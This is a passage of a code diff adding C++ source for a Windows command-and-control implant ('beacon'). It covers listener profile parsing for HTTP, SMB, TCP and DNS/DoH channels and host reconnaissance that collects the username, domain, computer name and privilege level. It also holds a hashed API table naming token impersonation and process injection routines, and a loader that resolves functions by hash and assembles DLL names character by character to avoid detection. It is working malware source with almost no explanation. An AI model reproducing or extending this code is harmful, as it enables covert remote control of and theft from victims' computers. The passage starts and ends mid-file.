this->profile.host_headers[i] = packer->UnpackBytesCopy(&length);
}
this->profile.rotation_mode = (BYTE) packer->Unpack32();
this->profile.proxy_type = (BYTE) packer->Unpack32();
this->profile.proxy_host = packer->UnpackBytesCopy(&length);
this->profile.proxy_port = (WORD) packer->Unpack32();
this->profile.proxy_username = packer->UnpackBytesCopy(&length);
this->profile.proxy_password = packer->UnpackBytesCopy(&length);
#elif defined(BEACON_SMB)
this->listener_type = packer->Unpack32();
this->profile.pipename = packer->UnpackBytesCopy(&length);
#elif defined(BEACON_TCP)
this->listener_type = packer->Unpack32();
this->profile.prepend = packer->UnpackBytesCopy(&length);
this->profile.port = packer->Unpack32();
#elif defined(BEACON_DNS)
this->listener_type = packer->Unpack32();
this->profile.domain = packer->UnpackBytesCopy(&length);
this->profile.resolvers = packer->UnpackBytesCopy(&length);
this->profile.doh_resolvers = packer->UnpackBytesCopy(&length);
this->profile.qtype = packer->UnpackBytesCopy(&length);
this->profile.pkt_size = packer->Unpack32();
this->profile.label_size = packer->Unpack32();
this->profile.ttl = packer->Unpack32();
this->profile.encrypt_key = this->encrypt_key;
this->profile.burst_enabled = packer->Unpack32();
this->profile.burst_sleep = packer->Unpack32();
this->profile.burst_jitter = packer->Unpack32();
this->profile.dns_mode = packer->Unpack32();
this->profile.user_agent = packer->UnpackBytesCopy(&length);
#endif
#if defined(BEACON_DNS)
this->download_chunk_size = 0x8000; // 32 KB
#else
this->download_chunk_size = 0x19000; // ~100KB
#endif
delete packer;
MemFreeLocal((LPVOID*)&ProfileBytes, size);
}
+104
View File
@@ -0,0 +1,104 @@
#pragma once
#include <windows.h>
#ifndef PROFILE_STRUCT
#define PROFILE_STRUCT
// Proxy type definitions
#define PROXY_TYPE_NONE 0
#define PROXY_TYPE_HTTP 1
#define PROXY_TYPE_HTTPS 2
typedef struct {
ULONG servers_count;
BYTE** servers;
WORD* ports;
BOOL use_ssl;
BYTE* http_method;
ULONG uri_count;
BYTE** uris;
BYTE* parameter;
ULONG ua_count;
BYTE** user_agents;
BYTE* http_headers;
ULONG ans_pre_size;
ULONG ans_size;
ULONG hh_count;
BYTE** host_headers;
BYTE rotation_mode; // 0=sequential, 1=random
BYTE proxy_type; // 0=none, 1=http, 2=https
BYTE* proxy_host;
WORD proxy_port;
BYTE* proxy_username;
BYTE* proxy_password;
} ProfileHTTP;
typedef struct {
BYTE* pipename;
} ProfileSMB;
typedef struct {
BYTE* prepend;
WORD port;
} ProfileTCP;
#define DNS_MODE_UDP 0
#define DNS_MODE_DOH 1
#define DNS_MODE_UDP_FALLBACK 2
#define DNS_MODE_DOH_FALLBACK 3
typedef struct {
BYTE* domain;
BYTE* resolvers;
BYTE* doh_resolvers;
BYTE* qtype;
ULONG pkt_size;
ULONG label_size;
ULONG ttl;
BYTE* encrypt_key;
ULONG burst_enabled;
ULONG burst_sleep;
ULONG burst_jitter;
ULONG dns_mode;
BYTE* user_agent;
} ProfileDNS;
#endif
class AgentConfig
{
public:
ULONG agent_type;
ULONG listener_type;
BYTE* encrypt_key;
ULONG sleep_delay;
ULONG jitter_delay;
ULONG kill_date;
ULONG working_time;
BYTE exit_method;
ULONG exit_task_id;
ULONG download_chunk_size;
#if defined(BEACON_HTTP)
ProfileHTTP profile;
#elif defined(BEACON_SMB)
ProfileSMB profile;
#elif defined(BEACON_TCP)
ProfileTCP profile;
#elif defined(BEACON_DNS)
ProfileDNS profile;
#endif
AgentConfig();
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+46
View File
@@ -0,0 +1,46 @@
#include "ApiLoader.h"
#include "AgentInfo.h"
#include "utils.h"
void* AgentInfo::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void AgentInfo::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(AgentInfo));
}
AgentInfo::AgentInfo()
{
SYSTEM_PROCESSOR_INFORMATION SystemInfo = { 0 };
OSVERSIONINFOEXW OSVersion = { 0 };
OSVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
ApiNt->NtQuerySystemInformation(SystemProcessorInformation, &SystemInfo, sizeof(SYSTEM_PROCESSOR_INFORMATION), 0);
ApiNt->RtlGetVersion((PRTL_OSVERSIONINFOW) &OSVersion);
BOOL isWow64 = FALSE;
ApiWin->IsWow64Process((HANDLE)-1, &isWow64);
this->agent_id = GenerateRandom32();
this->acp = ApiWin->GetACP();
this->oemcp = ApiWin->GetOEMCP();
this->gmt_offest = GetGmtOffset();
this->pid = (WORD)(ULONG_PTR) NtCurrentTeb()->ClientId.UniqueProcess;
this->tid = (WORD)(ULONG_PTR) NtCurrentTeb()->ClientId.UniqueThread;
this->elevated = IsElevate();
this->arch64 = (sizeof(void*) != 4);
this->sys64 = this->arch64 || isWow64;
this->build_number = OSVersion.dwBuildNumber;
this->major_version = OSVersion.dwMajorVersion;
this->minor_version = OSVersion.dwMinorVersion;
this->is_server = OSVersion.wProductType != VER_NT_WORKSTATION;
this->internal_ip = GetInternalIpLong();
this->username = _GetUserName();
this->domain_name = _GetDomainName();
this->computer_name = _GetHostName();
this->process_name = _GetProcessName();
}
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include <windows.h>
class AgentInfo
{
public:
DWORD agent_id;
WORD acp;
WORD oemcp;
BYTE gmt_offest;
WORD pid;
WORD tid;
BOOL arch64;
BOOL sys64;
BOOL elevated;
BOOL is_server;
WORD major_version;
WORD minor_version;
WORD build_number;
ULONG internal_ip;
CHAR* process_name;
CHAR* domain_name;
CHAR* computer_name;
CHAR* username;
AgentInfo();
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+198
View File
@@ -0,0 +1,198 @@
#pragma once
#define HASH_LIB_NTDLL 0x19a59ec
#define HASH_LIB_KERNEL32 0x7b348614
#define HASH_LIB_IPHLPAPI 0x2d288345
#define HASH_LIB_ADVAPI32 0x721421e8
#define HASH_LIB_MSVCRT 0xb707534d
//ntdll
#define HASH_FUNC_NTCLOSE 0xed9853bc
#define HASH_FUNC_NTCONTINUE 0x3932454b
#define HASH_FUNC_NTFREEVIRTUALMEMORY 0x6130e328
#define HASH_FUNC_NTQUERYINFORMATIONPROCESS 0x68b3d2e1
#define HASH_FUNC_NTQUERYSYSTEMINFORMATION 0x91ef8a47
#define HASH_FUNC_NTOPENPROCESS 0xf029bc37
#define HASH_FUNC_NTOPENPROCESSTOKEN 0x845cc3b8
#define HASH_FUNC_NTOPENTHREADTOKEN 0xf6f79cf1
#define HASH_FUNC_NTTERMINATETHREAD 0x43b9dd27
#define HASH_FUNC_NTTERMINATEPROCESS 0x9e28d66e
#define HASH_FUNC_RTLGETVERSION 0xb28521fc
#define HASH_FUNC_RTLEXITUSERTHREAD 0xa6320b07
#define HASH_FUNC_RTLEXITUSERPROCESS 0x4fa6c04e
#define HASH_FUNC_RTLIPV4STRINGTOADDRESSA 0x87cc3a9a
#define HASH_FUNC_RTLRANDOMEX 0x5b052214
#define HASH_FUNC_RTLNTSTATUSTODOSERROR 0x7701adaf
#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x91a1659e
//kernel32
#define HASH_FUNC_CONNECTNAMEDPIPE 0xda6c7d81
#define HASH_FUNC_COPYFILEA 0x1cba2820
#define HASH_FUNC_CREATEDIRECTORYA 0x4e15ef6e
#define HASH_FUNC_CREATEEVENTA 0xd106499b
#define HASH_FUNC_CREATEFILEA 0x44701e19
#define HASH_FUNC_CREATENAMEDPIPEA 0x375c5b8c
#define HASH_FUNC_CREATEPIPE 0xd38cc306
#define HASH_FUNC_CREATEPROCESSA 0x352ef9d8
#define HASH_FUNC_CREATETHREAD 0xf30d4c30
#define HASH_FUNC_DELETECRITICALSECTION 0x21d8fe57
#define HASH_FUNC_DELETEFILEA 0x75b1df38
#define HASH_FUNC_DISCONNECTNAMEDPIPE 0x6d59f261
#define HASH_FUNC_ENTERCRITICALSECTION 0x5b6e9a42
#define HASH_FUNC_FINDCLOSE 0x257f195b
#define HASH_FUNC_FINDFIRSTFILEA 0x2ffa9aae
#define HASH_FUNC_FINDNEXTFILEA 0xdacd2845
#define HASH_FUNC_FREELIBRARY 0x26ccae3b
#define HASH_FUNC_FLUSHFILEBUFFERS 0xd60d6813
#define HASH_FUNC_GETACP 0xa8455a98
#define HASH_FUNC_GETCOMPUTERNAMEEXA 0x3bc15572
#define HASH_FUNC_GETCURRENTDIRECTORYA 0x9c466afd
#define HASH_FUNC_GETDRIVETYPEA 0x4d986681
#define HASH_FUNC_GETEXITCODEPROCESS 0xf714f658
#define HASH_FUNC_GETEXITCODETHREAD 0xca4ca7d1
#define HASH_FUNC_GETFILESIZE 0x5774353f
#define HASH_FUNC_GETFILEATTRIBUTESA 0x4259a42c
#define HASH_FUNC_GETFULLPATHNAMEA 0x3da055a6
#define HASH_FUNC_GETLASTERROR 0xdbb35ee2
#define HASH_FUNC_GETLOGICALDRIVES 0xf20bc68c
#define HASH_FUNC_GETOEMCP 0xd004d0d8
#define HASH_FUNC_K32GETMODULEBASENAMEA 0x9a48e677
#define HASH_FUNC_GETMODULEBASENAMEA 0x56879f07
#define HASH_FUNC_GETMODULEHANDLEA 0x700712f7
#define HASH_FUNC_GETPROCADDRESS 0x184f2ade
#define HASH_FUNC_GETLOCALTIME 0xcbd6d0de
#define HASH_FUNC_GETSYSTEMTIMEASFILETIME 0xa94c633b
#define HASH_FUNC_GETTICKCOUNT 0xfcdd8ab8
#define HASH_FUNC_GETTIMEZONEINFORMATION 0xac7885f5
#define HASH_FUNC_GETUSERNAMEA 0x56f41f65
#define HASH_FUNC_HEAPALLOC 0x90953b4d
#define HASH_FUNC_HEAPCREATE 0xa84f7996
#define HASH_FUNC_HEAPDESTROY 0xe1ed946c
#define HASH_FUNC_HEAPREALLOC 0x1652b144
#define HASH_FUNC_HEAPFREE 0x90075c24
#define HASH_FUNC_INITIALIZECRITICALSECTION 0x8965be16
#define HASH_FUNC_ISWOW64PROCESS 0x5bf9b926
#define HASH_FUNC_LOADLIBRARYA 0x1159d0fa
#define HASH_FUNC_LOCALALLOC 0xaeff147a
#define HASH_FUNC_LOCALFREE 0x14d443b1
#define HASH_FUNC_LOCALREALLOC 0x769789b1
#define HASH_FUNC_LEAVECRITICALSECTION 0x2ef3d3d1
#define HASH_FUNC_MOVEFILEA 0x48ccd21c
#define HASH_FUNC_MULTIBYTETOWIDECHAR 0xdcf711ed
#define HASH_FUNC_PEEKNAMEDPIPE 0x79d7f37c
#define HASH_FUNC_READFILE 0xc9c06180
#define HASH_FUNC_REMOVEDIRECTORYA 0x4dada1a8
#define HASH_FUNC_RTLCAPTURECONTEXT 0x626d2e2f
#define HASH_FUNC_SETCURRENTDIRECTORYA 0x2e1c9789
#define HASH_FUNC_SETEVENT 0xe26f0832
#define HASH_FUNC_TRYENTERCRITICALSECTION 0x5181e9e1
#define HASH_FUNC_RESETEVENT 0x455f5749
#define HASH_FUNC_SETNAMEDPIPEHANDLESTATE 0x89e25d30
#define HASH_FUNC_SLEEP 0x5b4b729d
#define HASH_FUNC_VIRTUALALLOC 0x63ce6376
#define HASH_FUNC_VIRTUALFREE 0xbd37a32d
#define HASH_FUNC_WAITFORSINGLEOBJECT 0x471fd0f9
#define HASH_FUNC_WAITNAMEDPIPEA 0x8a2ba58d
#define HASH_FUNC_WIDECHARTOMULTIBYTE 0x12d4f52d
#define HASH_FUNC_WRITEFILE 0xd4a33cef
// iphlpapi
#define HASH_FUNC_GETADAPTERSINFO 0xa1376764
// advapi32
#define HASH_FUNC_ALLOCATEANDINITIALIZESID 0xbf449b6e
#define HASH_FUNC_GETTOKENINFORMATION 0x49639a4b
#define HASH_FUNC_INITIALIZESECURITYDESCRIPTOR 0x529256ed
#define HASH_FUNC_IMPERSONATELOGGEDONUSER 0x77243019
#define HASH_FUNC_FREESID 0x813c8686
#define HASH_FUNC_LOOKUPACCOUNTSIDA 0x4be434ac
#define HASH_FUNC_REVERTTOSELF 0xcce516a9
#define HASH_FUNC_SETTHREADTOKEN 0x373ff89
#define HASH_FUNC_SETENTRIESINACLA 0xa4379492
#define HASH_FUNC_SETSECURITYDESCRIPTORDACL 0x37dc047b
#define HASH_FUNC_DUPLICATETOKENEX 0xa7ab369d
#define HASH_FUNC_CREATEPROCESSASUSERA 0x4cb03b6b
#define HASH_FUNC_CREATEPROCESSWITHTOKENW 0x231cf52b
// msvcrt
#if defined(DEBUG)
#define HASH_FUNC_PRINTF 0xbe293817
#endif
#define HASH_FUNC_VSNPRINTF 0xc4e4280e
#define HASH_FUNC__SNPRINTF 0x4db600f7
// BOF
#define HASH_FUNC_BEACONDATAPARSE 0x3a3f9b41
#define HASH_FUNC_BEACONDATAINT 0xa3aad9b1
#define HASH_FUNC_BEACONDATASHORT 0x3a79ae96
#define HASH_FUNC_BEACONDATALENGTH 0x792460a8
#define HASH_FUNC_BEACONDATAEXTRACT 0xaf9d1a81
#define HASH_FUNC_BEACONFORMATALLOC 0xde6f0c40
#define HASH_FUNC_BEACONFORMATRESET 0xdf9ef2b8
#define HASH_FUNC_BEACONFORMATAPPEND 0xac9aff0d
#define HASH_FUNC_BEACONFORMATPRINTF 0xcfb8e1e8
#define HASH_FUNC_BEACONFORMATTOSTRING 0x8350c50f
#define HASH_FUNC_BEACONFORMATFREE 0x8aa15ab7
#define HASH_FUNC_BEACONFORMATINT 0x8fd66460
#define HASH_FUNC_BEACONOUTPUT 0xe1f90ffd
#define HASH_FUNC_BEACONPRINTF 0xe411de3f
#define HASH_FUNC_BEACONUSETOKEN 0x115b247a
#define HASH_FUNC_BEACONREVERTTOKEN 0x84387705
#define HASH_FUNC_BEACONISADMIN 0x4d34c8b1
#define HASH_FUNC_BEACONGETSPAWNTO 0xc9df6b58
#define HASH_FUNC_BEACONINJECTPROCESS 0x2223da28
#define HASH_FUNC_BEACONINJECTTEMPORARYPROCESS 0xb7acd3ab
#define HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS 0x3a613e77
#define HASH_FUNC_BEACONCLEANUPPROCESS 0x68ff8a73
#define HASH_FUNC_TOWIDECHAR 0x99e43fee
#define HASH_FUNC_BEACONINFORMATION 0xd9773b52
#define HASH_FUNC_BEACONADDVALUE 0x175454f2
#define HASH_FUNC_BEACONGETVALUE 0x132c1909
#define HASH_FUNC_BEACONREMOVEVALUE 0xb772ea57
#define HASH_FUNC_LOADLIBRARYA 0x1159d0fa
#define HASH_FUNC_GETPROCADDRESS 0x184f2ade
#define HASH_FUNC_GETMODULEHANDLEA 0x700712f7
#define HASH_FUNC_FREELIBRARY 0x26ccae3b
#define HASH_FUNC___C_SPECIFIC_HANDLER 0x6d7af307
#define HASH_FUNC_AXADDSCREENSHOT 0x495c25a4
#define HASH_FUNC_AXDOWNLOADMEMORY 0x5c8fc8ce
// Async BOF
#define HASH_FUNC_BEACONREGISTERTHREADCALLBACK 0x6db87516
#define HASH_FUNC_BEACONUNREGISTERTHREADCALLBACK 0x816703d9
#define HASH_FUNC_BEACONWAKEUP 0xf3334cb9
#define HASH_FUNC_BEACONGETSTOPJOBEVENT 0x0848788f
// wininet
#define HASH_FUNC_INTERNETOPENA 0x4c383c80
#define HASH_FUNC_INTERNETCONNECTA 0x575708d8
#define HASH_FUNC_HTTPOPENREQUESTA 0x226c0d80
#define HASH_FUNC_HTTPSENDREQUESTA 0xc2c06958
#define HASH_FUNC_INTERNETSETOPTIONA 0x2e652253
#define HASH_FUNC_INTERNETQUERYOPTIONA 0x4f0bddbd
#define HASH_FUNC_HTTPQUERYINFOA 0xd7775c67
#define HASH_FUNC_INTERNETQUERYDATAAVAILABLE 0x9ed7669e
#define HASH_FUNC_INTERNETCLOSEHANDLE 0xc0d1320f
#define HASH_FUNC_INTERNETREADFILE 0xe64c229
// ws2_32
#define HASH_FUNC_WSASTARTUP 0x512662e2
#define HASH_FUNC_WSACLEANUP 0x6f1847d7
#define HASH_FUNC_SOCKET 0xc4ef0f8d
#define HASH_FUNC_GETHOSTBYNAME 0x9a3fe8fe
#define HASH_FUNC_IOCTLSOCKET 0xb1dc75c8
#define HASH_FUNC_CONNECT 0x93f5e60e
#define HASH_FUNC_SETSOCKOPT 0x5f873653
#define HASH_FUNC_GETSOCKOPT 0x2f0868c7
#define HASH_FUNC_WSAGETLASTERROR 0x58a1e4d
#define HASH_FUNC_CLOSESOCKET 0xf44c50c3
#define HASH_FUNC_SELECT 0xc43ef024
#define HASH_FUNC___WSAFDISSET 0x61b4503f
#define HASH_FUNC_SHUTDOWN 0xccb8a380
#define HASH_FUNC_RECV 0x6f5eb634
#define HASH_FUNC_SEND 0x6f5f43ee
#define HASH_FUNC_ACCEPT 0x9a18f614
#define HASH_FUNC_BIND 0x6f560281
#define HASH_FUNC_LISTEN 0xb4374c73
#define HASH_FUNC_RECVFROM 0xcfb09288
#define HASH_FUNC_SENDTO 0xc44006d1
+291
View File
@@ -0,0 +1,291 @@
#include "ApiLoader.h"
#include "ProcLoader.h"
#pragma intrinsic(memset)
#pragma function(memset)
void* __cdecl memset(void* Destination, int Value, size_t Size)
{
unsigned char* p = (unsigned char*)Destination;
unsigned char val = (unsigned char)Value;
// Word-aligned fill for larger blocks
if (Size >= sizeof(size_t)) {
size_t pattern = val;
for (size_t i = 1; i < sizeof(size_t); i++)
pattern |= (pattern << 8);
while (((size_t)p & (sizeof(size_t) - 1)) && Size) {
*p++ = val;
Size--;
}
while (Size >= sizeof(size_t)) {
*(size_t*)p = pattern;
p += sizeof(size_t);
Size -= sizeof(size_t);
}
}
while (Size--)
*p++ = val;
return Destination;
}
#pragma intrinsic(memcpy)
#pragma function(memcpy)
void* __cdecl memcpy(void* Dst, const void* Src, size_t Size)
{
unsigned char* d = (unsigned char*)Dst;
const unsigned char* s = (const unsigned char*)Src;
// Word-aligned copy for larger blocks
if (Size >= sizeof(size_t) && (((size_t)d | (size_t)s) & (sizeof(size_t) - 1)) == 0) {
while (Size >= sizeof(size_t)) {
*(size_t*)d = *(const size_t*)s;
d += sizeof(size_t);
s += sizeof(size_t);
Size -= sizeof(size_t);
}
}
while (Size--)
*d++ = *s++;
return Dst;
}
CHAR HdChrA(CHAR c) { return c; }
WCHAR HdChrW(WCHAR c) { return c; }
SYSMODULES* SysModules = NULL;
WINAPIFUNC* ApiWin = NULL;
NTAPIFUNC* ApiNt = NULL;
BOOL ApiLoad()
{
HMODULE hKernel32Module = GetModuleAddress(HASH_LIB_KERNEL32);
decltype(LocalAlloc)* allocProc = (decltype(LocalAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALALLOC);
SysModules = (SYSMODULES*) allocProc(LPTR, sizeof(SYSMODULES));
ApiWin = (WINAPIFUNC*) allocProc(LPTR, sizeof(WINAPIFUNC));
ApiNt = (NTAPIFUNC*) allocProc(LPTR, sizeof(NTAPIFUNC));
SysModules->Kernel32 = hKernel32Module;
if ( ApiWin && hKernel32Module) {
// kernel32
ApiWin->LoadLibraryA = (decltype(LoadLibraryA)*)GetSymbolAddress(hKernel32Module, HASH_FUNC_LOADLIBRARYA);
ApiWin->CopyFileA = (decltype(CopyFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_COPYFILEA);
ApiWin->CreateDirectoryA = (decltype(CreateDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEDIRECTORYA);
ApiWin->CreateFileA = (decltype(CreateFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEFILEA);
ApiWin->CreateNamedPipeA = (decltype(CreateNamedPipeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATENAMEDPIPEA);
ApiWin->CreatePipe = (decltype(CreatePipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEPIPE);
ApiWin->CreateProcessA = &CreateProcessA;
ApiWin->CreateEventA = (decltype(CreateEventA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_CREATEEVENTA);
ApiWin->CreateThread = &CreateThread;
ApiWin->DisconnectNamedPipe = (decltype(DisconnectNamedPipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DISCONNECTNAMEDPIPE);
ApiWin->DeleteCriticalSection = (decltype(DeleteCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DELETECRITICALSECTION);
ApiWin->DeleteFileA = (decltype(DeleteFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_DELETEFILEA);
ApiWin->EnterCriticalSection = (decltype(EnterCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_ENTERCRITICALSECTION);
ApiWin->TryEnterCriticalSection = (decltype(TryEnterCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_TRYENTERCRITICALSECTION);
ApiWin->GetExitCodeProcess = (decltype(GetExitCodeProcess)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETEXITCODEPROCESS);
ApiWin->GetExitCodeThread = (decltype(GetExitCodeThread)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETEXITCODETHREAD);
ApiWin->FindClose = (decltype(FindClose)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDCLOSE);
ApiWin->FindFirstFileA = (decltype(FindFirstFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDFIRSTFILEA);
ApiWin->FindNextFileA = (decltype(FindNextFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FINDNEXTFILEA);
ApiWin->FreeLibrary = (decltype(FreeLibrary)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_FREELIBRARY);
ApiWin->GetACP = (decltype(GetACP)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETACP);
ApiWin->GetComputerNameExA = (decltype(GetComputerNameExA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETCOMPUTERNAMEEXA);
ApiWin->GetCurrentDirectoryA = (decltype(GetCurrentDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETCURRENTDIRECTORYA);
ApiWin->GetDriveTypeA = (decltype(GetDriveTypeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETDRIVETYPEA);
ApiWin->GetFileSize = (decltype(GetFileSize)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFILESIZE);
ApiWin->GetFileAttributesA = (decltype(GetFileAttributesA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFILEATTRIBUTESA);
ApiWin->GetFullPathNameA = (decltype(GetFullPathNameA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETFULLPATHNAMEA);
ApiWin->GetLastError = (decltype(GetLastError)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLASTERROR);
ApiWin->GetLogicalDrives = (decltype(GetLogicalDrives)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLOGICALDRIVES);
ApiWin->GetOEMCP = (decltype(GetOEMCP)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETOEMCP);
ApiWin->GetModuleBaseNameA = (decltype(GetModuleBaseNameA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_K32GETMODULEBASENAMEA);
ApiWin->GetModuleHandleA = (decltype(GetModuleHandleA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETMODULEHANDLEA);
ApiWin->GetLocalTime = (decltype(GetLocalTime)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETLOCALTIME);
ApiWin->GetSystemTimeAsFileTime = (decltype(GetSystemTimeAsFileTime)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETSYSTEMTIMEASFILETIME);
ApiWin->GetProcAddress = &GetProcAddress;
ApiWin->GetTickCount = (decltype(GetTickCount)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETTICKCOUNT);
ApiWin->GetTimeZoneInformation = (decltype(GetTimeZoneInformation)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_GETTIMEZONEINFORMATION);
ApiWin->HeapAlloc = (decltype(HeapAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPALLOC);
ApiWin->HeapCreate = (decltype(HeapCreate)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPCREATE);
ApiWin->HeapDestroy = (decltype(HeapDestroy)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPDESTROY);
ApiWin->HeapReAlloc = (decltype(HeapReAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPREALLOC);
ApiWin->HeapFree = (decltype(HeapFree)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_HEAPFREE);
ApiWin->InitializeCriticalSection = (decltype(InitializeCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_INITIALIZECRITICALSECTION);
ApiWin->IsWow64Process = (decltype(IsWow64Process)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_ISWOW64PROCESS);
ApiWin->LocalAlloc = allocProc;
ApiWin->LocalFree = (decltype(LocalFree)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALFREE);
ApiWin->LocalReAlloc = (decltype(LocalReAlloc)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LOCALREALLOC);
ApiWin->LeaveCriticalSection = (decltype(LeaveCriticalSection)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_LEAVECRITICALSECTION);
ApiWin->MoveFileA = (decltype(MoveFileA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_MOVEFILEA);
ApiWin->MultiByteToWideChar = (decltype(MultiByteToWideChar)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_MULTIBYTETOWIDECHAR);
ApiWin->PeekNamedPipe = (decltype(PeekNamedPipe)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_PEEKNAMEDPIPE);
ApiWin->ReadFile = (decltype(ReadFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_READFILE);
ApiWin->RemoveDirectoryA = (decltype(RemoveDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_REMOVEDIRECTORYA);
ApiWin->RtlCaptureContext = (decltype(RtlCaptureContext)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_RTLCAPTURECONTEXT);
ApiWin->SetEvent = (decltype(SetEvent)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETEVENT);
ApiWin->ResetEvent = (decltype(ResetEvent)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_RESETEVENT);
ApiWin->SetCurrentDirectoryA = (decltype(SetCurrentDirectoryA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETCURRENTDIRECTORYA);
ApiWin->SetNamedPipeHandleState = (decltype(SetNamedPipeHandleState)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_SETNAMEDPIPEHANDLESTATE);
ApiWin->Sleep = &Sleep;
ApiWin->VirtualAlloc = &VirtualAlloc;
ApiWin->VirtualFree = &VirtualFree;
ApiWin->WaitForSingleObject = &WaitForSingleObject;
ApiWin->WaitNamedPipeA = (decltype(WaitNamedPipeA)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WAITNAMEDPIPEA);
ApiWin->WideCharToMultiByte = (decltype(WideCharToMultiByte)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WIDECHARTOMULTIBYTE);
ApiWin->WriteFile = (decltype(WriteFile)*) GetSymbolAddress(hKernel32Module, HASH_FUNC_WRITEFILE);
// iphlpapi
CHAR iphlpapi_c[13];
iphlpapi_c[0] = HdChrA('I');
iphlpapi_c[1] = HdChrA('p');
iphlpapi_c[2] = HdChrA('h');
iphlpapi_c[3] = HdChrA('l');
iphlpapi_c[4] = HdChrA('p');
iphlpapi_c[5] = HdChrA('a');
iphlpapi_c[6] = HdChrA('p');
iphlpapi_c[7] = HdChrA('i');
iphlpapi_c[8] = HdChrA('.');
iphlpapi_c[9] = HdChrA('d');
iphlpapi_c[10] = HdChrA('l');
iphlpapi_c[11] = HdChrA('l');
iphlpapi_c[12] = HdChrA(0);
HMODULE hIphlpapiModule = ApiWin->LoadLibraryA(iphlpapi_c);
SysModules->Iphlpapi = hIphlpapiModule;
if (hIphlpapiModule) {
ApiWin->GetAdaptersInfo = (decltype(GetAdaptersInfo)*) GetSymbolAddress(hIphlpapiModule, HASH_FUNC_GETADAPTERSINFO);
}
// advapi32
CHAR advapi32_c[13];
advapi32_c[0] = HdChrA('A');
advapi32_c[1] = HdChrA('d');
advapi32_c[2] = HdChrA('v');
advapi32_c[3] = HdChrA('a');
advapi32_c[4] = HdChrA('p');
advapi32_c[5] = HdChrA('i');
advapi32_c[6] = HdChrA('3');
advapi32_c[7] = HdChrA('2');
advapi32_c[8] = HdChrA('.');
advapi32_c[9] = HdChrA('d');
advapi32_c[10] = HdChrA('l');
advapi32_c[11] = HdChrA('l');
advapi32_c[12] = HdChrA(0);
HMODULE hAdvapi32Module = ApiWin->LoadLibraryA(advapi32_c);
SysModules->Advapi32 = hAdvapi32Module;
if (hAdvapi32Module) {
ApiWin->GetTokenInformation = (decltype(GetTokenInformation)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_GETTOKENINFORMATION);
ApiWin->GetUserNameA = (decltype(GetUserNameA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_GETUSERNAMEA);
ApiWin->LookupAccountSidA = (decltype(LookupAccountSidA)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_LOOKUPACCOUNTSIDA);
ApiWin->RevertToSelf = (decltype(RevertToSelf)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_REVERTTOSELF );
ApiWin->SetThreadToken = (decltype(SetThreadToken)*) GetSymbolAddress(hAdvapi32Module, HASH_FUNC_SETTHREADTOKEN);
